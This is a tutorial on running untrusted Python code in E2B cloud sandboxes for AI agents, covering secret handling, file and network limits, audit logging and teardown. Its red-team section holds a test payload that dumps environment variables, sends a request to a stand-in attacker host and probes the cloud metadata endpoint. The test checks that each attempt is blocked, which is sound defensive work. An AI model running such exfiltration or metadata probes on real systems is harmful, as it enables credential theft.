How to run untrusted Python code in E2B sandboxes for agent workflows

At a glance: what you need before you run untrusted Python in E2B

At a Glance: Time: ~45 minutes to first working sandbox · Prereqs: Python 3.11+, E2B account with API key, e2b Python SDK installed · Hardware: no local GPU required — execution runs in E2B's cloud Linux VMs · Cost: billed per sandbox-second on E2B's pay-per-use pricing

E2B creates on-demand, isolated Linux VMs and exposes them through a Python and TypeScript SDK. Each sandbox is a fresh environment where an agent can install packages, write files, and execute terminal commands — including AI-generated or user-supplied Python — without touching your host. The sandbox boundary is the security primitive: code that runs inside cannot directly reach host memory, host credentials, or host filesystems unless you explicitly push those resources in.

The platform's documented capabilities cover the full execution lifecycle: sandbox creation and teardown, lifecycle events and webhooks, persistence and snapshots, file upload and download, SSH access, proxy tunneling, custom domain routing, and Model Context Protocol (MCP) gateway support. As the E2B documentation states:

"E2B sandboxes provide an ideal environment for running MCP tools, giving AI full access to an internet-connected Linux machine where it can safely install packages, write files, run terminal commands, and AI-generated code." — E2B documentation

For untrusted Python execution in agent workflows, three controls matter above everything else: what files the sandbox can read or write, what secrets enter the runtime, and what network egress is permitted. The rest of this tutorial shows how to set each control deliberately.

---

Prerequisites and sandbox posture for agent workflows

The E2B sandbox is a strong isolation primitive, but isolation does not equal security by default. The sandbox gives the agent "full access" to an internet-connected Linux machine — that access must be constrained at the application layer before untrusted code execution is safe for production.

Production Note: Store the E2B API key in a secrets manager or environment variable on the host. Never pass it into the sandbox as part of a command or file payload. Any secret that crosses the sandbox boundary can be exfiltrated by untrusted code through stdout, a network call, or a written file. Treat the sandbox as an execution-only tool: it receives inputs, runs code, and returns outputs. It does not need — and should never receive — your database credentials, cloud provider tokens, or LLM API keys.

Sandbox metadata (sandbox ID, template name, creation and expiry timestamps) is retrievable via get_info(), which makes lifecycle events auditable. Establish a logging record per sandbox run that captures these fields before any code executes.

What to prepare in your environment

Install the official E2B Python SDK and confirm your API key is set before any code runs.

$ pip install e2b-code-interpreter

See the E2B SDK reference for the current package name and sandbox creation API before deploying.

Set the API key in your shell environment — not in source code, not in a .env file committed to version control:

# Environment variable required at runtime
E2B_API_KEY: "e2b_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"

# Optional: default template ID for agent runs
E2B_TEMPLATE_ID: "your-custom-template-id"

# Optional: sandbox timeout in seconds (controls max lifetime)
E2B_SANDBOX_TIMEOUT: "300"

The SDK resolves E2B_API_KEY automatically from the environment. If the key is absent, the SDK raises at sandbox creation time — making misconfiguration immediately visible rather than silently degraded. Verify the install page against the current SDK reference before deploying, as package names and minimum Python versions change between releases.

Decide what the sandbox may and may not access

Define the access policy before writing a line of agent code. The decision surface is small:

Control	Options	Default posture for untrusted code
Outbound internet	enabled / disabled	Disabled unless the task requires it
File write scope	ephemeral /tmp only	Ephemeral, never host-mounted
File upload	explicit allowlist	Allowlist — minimum data required
Snapshot/persistence	opt-in per run	Off by default
Public URL traffic	gated by token	Token-gated (allowPublicTraffic: false)

When allowPublicTraffic is false, any request to a sandbox's public URL must include the e2b-traffic-access-token header populated with sandbox.trafficAccessToken — per the E2B internet-access docs. This prevents sandbox-generated URLs from being reachable by external callers without authentication.

Watch Out: Do not mount host credentials into the sandbox via environment injection, file copy, or template baking. Do not assume default network access is appropriate for every execution path. An agent that can reach the internet and read a credential file has everything it needs to exfiltrate data — even if the code was "probably fine."

---

Step 1: create an E2B sandbox from the official SDK

The E2B Python SDK exposes a Sandbox class (in e2b-code-interpreter, the CodeInterpreter or Sandbox abstraction depending on version). Instantiation creates a fresh Linux VM. See the SDK reference for the current class and method surface.

$ pip install e2b-code-interpreter

import os
from e2b_code_interpreter import Sandbox

# API key resolved from E2B_API_KEY environment variable
sandbox = Sandbox(
    template="base",                # or your custom template ID
    timeout=300,                    # sandbox max lifetime in seconds
    api_key=os.environ["E2B_API_KEY"],
)

print(f"Sandbox created: {sandbox.id}")

Create the sandbox and confirm lifecycle events

Confirm the sandbox is alive and record its identifiers immediately after creation. The SDK exposes get_info() for this purpose — use it to anchor your audit record. The sandbox docs cover lifecycle metadata retrieval and related event hooks.

import os
import json
import datetime
from e2b_code_interpreter import Sandbox

sandbox = Sandbox(
    template="base",
    timeout=300,
    api_key=os.environ["E2B_API_KEY"],
)

# Record lifecycle metadata before any code runs
info = sandbox.get_info()
audit_record = {
    "sandbox_id": sandbox.id,
    "template": info.template_id,
    "started_at": datetime.datetime.utcnow().isoformat(),
    "timeout_s": 300,
}
print(json.dumps(audit_record))
# Expected: {"sandbox_id": "sbx_...", "template": "base", "started_at": "...", "timeout_s": 300}

Lifecycle events and webhooks are available via the E2B platform for production monitoring. At minimum, record the sandbox ID and creation timestamp locally so you can correlate execution logs to a specific sandbox instance when reviewing agent behavior post-hoc.

Choose a template-based environment for repeatability

Default sandbox templates work for exploration, but agent workflows that run repeatedly need deterministic environments. E2B supports custom templates — Docker-like definitions that preinstall dependencies, configure the Python version, and set working directory structure before the agent receives the sandbox.

import os
from e2b_code_interpreter import Sandbox

# Point to a custom template that has numpy, pandas, and nothing else preinstalled
sandbox = Sandbox(
    template=os.environ.get("E2B_TEMPLATE_ID", "base"),
    timeout=300,
    api_key=os.environ["E2B_API_KEY"],
)

As the Northflank 2026 engineering comparison confirms: "E2B is built for AI agent code execution. Sandboxes are session-scoped, defined via custom templates, and managed via a Python or JS/TS SDK." Preinstall only the packages the agent legitimately needs. Every additional package broadens the attack surface available to untrusted code. Do not bake secrets, SSH keys, or cloud credentials into the template image.

---

Step 2: run untrusted Python commands inside the sandbox

The agent's code payload should be treated as untrusted. The sandbox boundary enforces the execution constraint; your code enforces the policy around what enters and exits.

E2B's Sandbox exposes process.start_and_wait() or (in the CodeInterpreter variant) a run_code() method that executes Python inside the sandbox and returns structured stdout, stderr, and exit code. Capture all three separately.

import os
from e2b_code_interpreter import Sandbox

sandbox = Sandbox(
    template="base",
    timeout=300,
    api_key=os.environ["E2B_API_KEY"],
)

# Treat this string as untrusted — it may come from a user or orchestrator
untrusted_payload = "print(sum([1, 2, 3]))"

result = sandbox.run_code(untrusted_payload)

print("stdout:", result.logs.stdout)   # ["6\n"]
print("stderr:", result.logs.stderr)   # []
print("error:", result.error)          # None on success

Run a minimal Python payload and inspect the result

Before running any agent-supplied payload against real data, validate the execution path with a harmless expression. This confirms the sandbox started correctly, Python is available, and stdout capture is working.

# Smoke test: non-destructive, no file I/O, no network
result = sandbox.run_code("import sys; print(sys.version)")

assert result.error is None, f"Smoke test failed: {result.error}"
assert result.logs.stdout, "No stdout returned — check sandbox health"
print("Python version in sandbox:", result.logs.stdout[0].strip())
# Expected: Python 3.11.x (or the version installed in the template)

If result.error is not None, the sandbox may have crashed, the template may be malformed, or the API key may be invalid. Do not proceed to untrusted execution until this check passes.

Pass data in without exposing secrets

Move input data into the sandbox through the SDK's file upload API, not by embedding it in the code payload. Embedding data in the payload string conflates code and data, makes sanitization harder, and increases the risk of prompt injection cascades.

import json
import os
from e2b_code_interpreter import Sandbox

sandbox = Sandbox(
    template="base",
    timeout=300,
    api_key=os.environ["E2B_API_KEY"],
)

# Sanitize and serialize only the fields the agent needs
task_input = {
    "values": [10, 20, 30],        # ✅ data the agent needs
    "operation": "sum",            # ✅ bounded operation name
    # "api_key": "sk-..."          # ❌ never include secrets here
}

# Upload as a JSON file the sandbox code can read at /home/user/input.json
sandbox.files.write("/home/user/input.json", json.dumps(task_input).encode())

# The payload reads from the file, not from an injected string
payload = """
import json
with open('/home/user/input.json') as f:
    data = json.load(f)
print(sum(data['values']))
"""
result = sandbox.run_code(payload)
print("Result:", result.logs.stdout)  # ["60\n"]

Watch Out: Never embed API keys, session tokens, database passwords, or private keys directly in the run_code() payload. Untrusted code executing inside the sandbox has unrestricted access to every string in the Python runtime — including those injected as f-string variables or format arguments. The only safe rule is: secrets do not cross the sandbox boundary in any form.

---

Step 3: constrain filesystem access, downloads, and uploads

The sandbox filesystem is ephemeral and isolated from the host. That isolation holds as long as you transfer only what the workload explicitly requires. The E2B SDK's file API supports writing to and reading from specific paths inside the sandbox — use it as an allowlist mechanism, not as a general-purpose file mirror. See the sandbox docs for file upload/download support and metadata retrieval.

import os
from e2b_code_interpreter import Sandbox

sandbox = Sandbox(
    template="base",
    timeout=300,
    api_key=os.environ["E2B_API_KEY"],
)

# Upload: push only the specific file the agent needs
with open("./local_dataset.csv", "rb") as f:
    sandbox.files.write("/home/user/dataset.csv", f.read())

# Run the untrusted analysis code
result = sandbox.run_code("""
import csv
with open('/home/user/dataset.csv') as f:
    reader = csv.reader(f)
    rows = list(reader)
print(f"Row count: {len(rows)}")
""")

# Download: retrieve only the output file, not a directory tree
output_bytes = sandbox.files.read("/home/user/output.json")
with open("./retrieved_output.json", "wb") as f:
    f.write(output_bytes)

Isolate writable paths and avoid host-mounted state

Broad write access inside the sandbox increases blast radius: untrusted code can overwrite package files, corrupt the Python interpreter, or write data to paths that get snapshotted and carried into subsequent runs.

Watch Out: Do not allow untrusted code to write to arbitrary paths. Scope writable directories to a single working directory (e.g., /home/user/workdir/) and review what the agent writes before downloading it. A file named output.json that actually contains environment variable dumps or API response bodies is an exfiltration vector, not just noisy logging.

The E2B sandbox filesystem is isolated by the VM boundary rather than by simple process-level permissions. Do not assume that limiting file permissions inside the sandbox is sufficient if the sandbox itself has excessive network egress.

Use persistence and snapshots only for approved state

E2B supports sandbox persistence and snapshots, including auto-resume behavior. These features are useful for caching Python environments or preserving intermediate computation across agent steps — but they create risk if misused.

Production Note: Persist only approved, non-sensitive state: cached package installations, precomputed embeddings, or benign working artifacts that would be expensive to regenerate. Always recreate credentials, session tokens, and ephemeral secrets from your secrets manager at sandbox startup — never preserve them in a snapshot. A snapshot that contains a live API key is a persistent credential exposure, not an optimization.

---

Step 4: control network access and external tool reachability

E2B sandboxes can expose public URLs for sandbox services, and the E2B internet-access documentation defines the control surface for that access. When allowPublicTraffic is false, any request to a sandbox's public URL must include the e2b-traffic-access-token header populated with sandbox.trafficAccessToken.

import os
from e2b_code_interpreter import Sandbox

# Sensible default: keep public URL access gated unless a task explicitly needs it
sandbox = Sandbox(
    template="base",
    timeout=300,
    api_key=os.environ["E2B_API_KEY"],
)

# If a workflow exposes a public endpoint, callers must present the traffic token
traffic_token = sandbox.trafficAccessToken
print("Traffic token available:", bool(traffic_token))

The allowPublicTraffic flag gates inbound public access to sandbox ports. Use it only for tasks that genuinely need a reachable sandbox URL.

Turn internet access off for sensitive execution paths

Disabling outbound internet access is the correct default for any execution path where the task can complete without external calls. This covers data transformation, code analysis, file processing, and mathematical computation.

import os
from e2b_code_interpreter import Sandbox

# Offline-safe payload: no network required
sandbox = Sandbox(
    template="offline-analysis",   # template with all deps preinstalled
    timeout=300,
    api_key=os.environ["E2B_API_KEY"],
)

# If the payload attempts an outbound call, it will fail at the network layer
result = sandbox.run_code("""
import socket
try:
    socket.setdefaulttimeout(3)
    socket.socket().connect(("8.8.8.8", 53))
    print("NETWORK: reachable")  # should not print if egress is blocked
except OSError:
    print("NETWORK: blocked")    # expected output when egress is disabled
""")
print(result.logs.stdout)

Disabling egress breaks pip install at runtime. Preinstall all required packages in the template so runtime installs are unnecessary — this also eliminates supply-chain risk from runtime package fetches.

Use proxy tunneling, custom domains, or MCP only when required

E2B supports proxy tunneling, custom domains, and MCP gateway connectivity. Each feature expands the reachable service surface from inside the sandbox.

Production Note: Treat proxy tunneling, custom domain routing, and MCP tool access as privilege-bearing exceptions to the default closed posture — not as convenient defaults. Enable MCP gateway access only when the agent legitimately needs to invoke an external tool service. Enable proxy tunneling only for services you control and have approved for agent use. Custom domains should resolve only to services with their own authentication layer. Every connectivity feature you enable without a specific justification is an additional exfiltration path for untrusted code.

---

Step 5: log, monitor, and review what the agent did

Sandboxing contains execution; logging enables review. An agent that runs code inside a sandbox without leaving an auditable trail is operationally blind: you cannot detect policy violations, trace data exfiltration attempts, or satisfy compliance requirements.

Log the following for every sandbox run: sandbox ID, template name, start and end timestamps, every command executed, every file path written or read, stdout and stderr (redacted of secret material), and the final exit status. E2B exposes lifecycle events and webhook callbacks for creation and teardown — integrate these into your existing observability pipeline. See the sandbox docs for lifecycle metadata and event references.

import os
import json
import datetime
from e2b_code_interpreter import Sandbox

def run_with_audit(payload: str, task_id: str) -> dict:
    """Execute untrusted payload with full audit trail."""
    sandbox = Sandbox(
        template=os.environ.get("E2B_TEMPLATE_ID", "base"),
        timeout=300,
        api_key=os.environ["E2B_API_KEY"],
    )

    audit = {
        "task_id": task_id,
        "sandbox_id": sandbox.id,
        "started_at": datetime.datetime.utcnow().isoformat(),
        "payload_length": len(payload),  # log size, not content
        "exit_error": None,
    }

    result = sandbox.run_code(payload)

    audit["exit_error"] = str(result.error) if result.error else None
    audit["ended_at"] = datetime.datetime.utcnow().isoformat()
    audit["stdout_lines"] = len(result.logs.stdout)
    audit["stderr_lines"] = len(result.logs.stderr)

    sandbox.kill()
    audit["torn_down"] = True

    # Write to your log sink — not to a file inside the sandbox
    print(json.dumps(audit))
    return audit

Capture command output without storing secrets

Stdout and stderr from the sandbox can contain sensitive material if the untrusted code prints environment variables, reads secret files, or echoes injected inputs. Your log pipeline must redact this before storage.

Watch Out: Do not log raw stdout or stderr without redaction. Untrusted code can execute import os; print(os.environ) and your logging layer will faithfully record every environment variable visible in the sandbox. Even if the sandbox environment contains no host secrets, raw prompt payloads logged to a SIEM create a prompt-injection replay risk. Prefer structured, redacted logs: record byte counts and line counts, not raw content.

Define a red-team example that should fail closed

The following payload represents a class of attacks that should be blocked or produce no useful output for an attacker. Use it as a test artifact during security review — not in production.

# RED TEAM TEST — run only in a controlled test environment
# Expected behavior: the sandbox should contain NO host secrets,
# so the output reveals only sandbox-internal env vars, not credentials.

malicious_payload = """
import os, socket, urllib.request

# Attempt 1: read environment variables
print("ENV:", dict(os.environ))

# Attempt 2: attempt outbound exfiltration (should fail if egress is blocked)
try:
    urllib.request.urlopen("http://attacker.example.com/exfil?data=test", timeout=3)
    print("EXFIL: succeeded")  # FAIL — this line should never print
except Exception as e:
    print("EXFIL: blocked —", e)  # PASS

# Attempt 3: attempt to reach the host metadata service (cloud environments)
try:
    urllib.request.urlopen("http://169.254.169.254/latest/meta-data/", timeout=3)
    print("METADATA: reachable")  # FAIL — should not reach host metadata
except Exception as e:
    print("METADATA: blocked —", e)  # PASS
"""

result = sandbox.run_code(malicious_payload)
# Verify: ENV output contains no host API keys or cloud credentials
# Verify: EXFIL line is "blocked"
# Verify: METADATA line is "blocked"
assert "EXFIL: succeeded" not in str(result.logs.stdout), "Egress not blocked — check network policy"
assert "METADATA: reachable" not in str(result.logs.stdout), "Metadata endpoint reachable — check network policy"

If EXFIL: succeeded appears, outbound egress is not blocked and must be addressed before production deployment.

---

Verification: prove the sandbox is behaving as intended

Before routing real agent traffic through the sandbox, verify all four control planes with explicit pass/fail checks.

Benchmark	Check	Pass condition	Fail condition	Status
File access scope	Agent code can only write to /home/user/workdir/	Writes outside that path raise PermissionError	Writes to /etc/ or /root/ succeed	Pass/Fail
Internet access (egress)	Outbound socket connection to external IP	OSError or timeout raised	Connection succeeds when egress should be blocked	Pass/Fail
Secret exposure	os.environ output contains no host credentials	No host API keys appear in sandbox env	Host E2B_API_KEY or cloud token visible in sandbox	Pass/Fail
Teardown	sandbox.kill() completes; subsequent calls fail	SDK raises after kill	Sandbox continues to accept commands after kill	Pass/Fail

Run a safe smoke test before production traffic

import os
from e2b_code_interpreter import Sandbox

sandbox = Sandbox(
    template=os.environ.get("E2B_TEMPLATE_ID", "base"),
    timeout=60,
    api_key=os.environ["E2B_API_KEY"],
)

# Non-destructive: validates Python execution, version, and stdout capture
result = sandbox.run_code("""
import sys, platform
print("python:", sys.version)
print("platform:", platform.system(), platform.release())
print("smoke_test: PASS")
""")

assert result.error is None, f"Smoke test error: {result.error}"
assert any("smoke_test: PASS" in line for line in result.logs.stdout), "Smoke test output missing"
print("Sandbox smoke test passed:", result.logs.stdout)

sandbox.kill()

Expected output: smoke_test: PASS on stdout, result.error is None, and sandbox.kill() completes without exception.

Confirm teardown and cleanup after the run

import os
from e2b_code_interpreter import Sandbox

sandbox = Sandbox(
    template="base",
    timeout=300,
    api_key=os.environ["E2B_API_KEY"],
)

sandbox_id = sandbox.id

# Explicit kill — do not rely on timeout alone for sensitive workloads
sandbox.kill()
print(f"Sandbox {sandbox_id} killed")

# Verify: any subsequent operation should raise
try:
    sandbox.run_code("print('still alive')")
    raise AssertionError("Sandbox accepted commands after kill — teardown failed")
except Exception as e:
    print(f"Teardown confirmed: {e}")

Do not rely on the timeout parameter alone to terminate sandboxes after sensitive execution. Call sandbox.kill() explicitly at the end of every agent run so resources are released immediately and no lingering processes remain.

---

Common pitfalls when using E2B for untrusted code

Watch Out: Three failure modes cause the most production incidents:

1. Secret exfiltration through logs. Developers log result.logs.stdout directly to a SIEM. Untrusted code prints os.environ or echoes back an injected API key. The secret is now in plaintext in the log pipeline. Fix: redact stdout before logging; never inject secrets into the sandbox in any form.

2. Overly broad internet access. The sandbox default includes outbound internet access. Teams enable it for one legitimate use case (fetching a public dataset) and forget to disable it for all other paths. Untrusted code in those paths can reach external endpoints. Fix: define egress policy per execution path, not per deployment. Preinstall dependencies in the template and disable runtime egress for paths that don't need it.

3. Unsafe persistence and snapshots. A snapshot is taken after a run that injected a live API key for testing. That snapshot becomes the base for subsequent runs, silently propagating the credential. Fix: never snapshot state after a run that received secret material. Recreate credentials at sandbox startup from your secrets manager every time.

Additional pitfalls: allowing the agent to write to paths outside a scoped working directory (blast radius expansion), using the default base template for production (no dependency pinning, possible drift), and treating sandbox.kill() as optional (resource leaks and potential continued execution during timeout window).

---

Agent workflow patterns that fit E2B sandboxes

E2B fits a specific and bounded role in multi-step agent workflows: sandboxed tool execution. The agent planner decides what to compute; E2B executes the computation; the planner receives the result and decides the next step. The sandbox never makes irreversible external decisions — those require separate approval gates outside the sandbox boundary.

Pro Tip: Keep the E2B sandbox as a stateless execution primitive inside your agent loop. The planner holds state (conversation history, task progress, tool call results). The sandbox holds nothing across runs unless you explicitly snapshot approved artifacts. This architecture means a compromised or misbehaving sandbox run fails closed — the planner receives an error, logs it, and routes to a human review queue rather than propagating corrupted state forward.

Patterns that fit well:

• Code interpreter tools: LLM generates Python, sandbox executes it, result returned as a tool call response
• Data transformation steps: agent uploads a CSV, sandbox runs pandas operations, agent downloads the result
• Dependency-isolated analysis: different agent tasks require conflicting library versions — each gets a fresh sandbox from the appropriate template
• Security-sensitive computation: cryptographic operations, PII processing, or HIPAA-regulated data processing where the execution environment must be auditable and ephemeral

When to use E2B for tool execution versus full task automation

Use E2B for bounded, reversible tool execution where the output is data or a file, not an external action. The E2B documentation positions the sandbox as a place to "install packages, write files, run terminal commands, and AI-generated code" — not as a general-purpose autonomy platform that acts on the external world.

Reserve full task automation — sending emails, transacting money, modifying production databases, calling external APIs with write permissions — for a separately governed orchestration layer that has its own human approval workflow, rate limits, and audit trail. The sandbox executes; a policy layer with human-in-the-loop controls authorizes external effects.

The architectural boundary is: if the result of an agent action is a file or a value, the sandbox is the right tool. If the result of an agent action changes state in a system outside the sandbox, that action needs a policy gate that the sandbox cannot provide.

---

FAQ

How do you run Python code in E2B?

Install the e2b-code-interpreter SDK, create a Sandbox instance with your API key and a template ID, then call sandbox.run_code("your_python_code"). The method executes the code in an isolated Linux VM and returns structured stdout, stderr, and error fields. See Step 2 above for a runnable example.

Is E2B sandbox secure?

The E2B sandbox provides VM-level isolation — code executing inside cannot directly access host memory, host filesystems, or host processes. Security strength depends on your configuration: outbound internet access is on by default and must be explicitly controlled; secrets must stay outside the sandbox; persistence and snapshots must be scoped to non-sensitive state. The sandbox is a strong execution boundary, not a substitute for application-layer security policy. Apply the controls in this tutorial before treating it as production-safe for untrusted code.

What is E2B used for?

E2B is purpose-built for AI agent code execution. Common uses include LLM-generated code interpretation, data analysis inside agent loops, MCP tool hosting, and multi-agent workflows that require isolated, reproducible Python environments. Per the E2B docs, it supports package installation, file I/O, terminal command execution, and AI-generated code within a sandboxed Linux machine.

Can E2B sandboxes access the internet?

Yes, by default. Outbound internet access and inbound public URL access are available. Inbound public traffic can be gated with the allowPublicTraffic control, which requires callers to supply the e2b-traffic-access-token header. Outbound egress policy is configurable at the template level. For untrusted code execution on sensitive paths, disable outbound egress and preinstall all dependencies in the template.

---

Sources and references

• E2B Documentation — Sandbox overview — Primary reference for sandbox creation, lifecycle events, metadata retrieval, file upload/download, and persistence/snapshot capabilities
• E2B Documentation — Internet access — Source for allowPublicTraffic, trafficAccessToken, proxy tunneling, and custom domain controls
• E2B Documentation — MCP gateway — Source for MCP tool hosting, terminal command execution, and AI-generated code execution positioning
• E2B SDK Reference — JavaScript/Python SDK — SDK class and method reference for sandbox management
• E2B Documentation — Template quickstart — Custom template definition and preinstall workflow
• Northflank blog — E2B vs Modal (2026) — Third-party engineering comparison corroborating E2B's session-scoped, template-driven sandbox design; used for positioning context only, not security guarantees

---

Keywords: E2B Sandbox, E2B SDK, Python 3.11, Linux VM, Model Context Protocol (MCP), allowInternetAccess, allowPublicTraffic, template-based environments, sandbox persistence, snapshotting, SSH access, proxy tunneling, custom domains, file upload/download, lifecycle events, agent workflows